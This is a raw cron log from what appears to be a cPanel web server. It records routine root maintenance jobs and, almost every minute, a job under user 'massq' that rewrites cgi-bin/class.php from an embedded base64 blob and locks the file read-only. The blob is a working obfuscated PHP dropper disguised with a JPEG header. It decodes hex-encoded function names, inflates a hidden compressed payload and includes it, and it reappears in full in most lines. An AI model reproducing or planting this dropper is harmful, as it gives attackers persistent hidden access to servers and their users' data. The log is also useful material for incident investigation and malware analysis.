Nov 13 06:30:01 server CROND[27167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:30:01 server CROND[27168]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 06:30:01 server CROND[27169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:31:01 server CROND[28049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:32:01 server CROND[29004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:33:01 server CROND[29949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:34:01 server CROND[30811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:35:01 server CROND[31860]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:35:01 server CROND[31862]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 06:35:01 server CROND[31864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:35:01 server CROND[31863]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 06:35:01 server CROND[31866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:36:01 server CROND[328]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:37:01 server CROND[1270]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:38:01 server CROND[2142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:39:01 server CROND[3008]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 06:39:01 server CROND[3009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:40:01 server CROND[3925]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 06:40:01 server CROND[3926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 06:40:01 server CROND[3927]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:40:01 server CROND[3929]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 06:41:01 server CROND[4840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:42:01 server CROND[5803]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 06:42:01 server CROND[5804]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
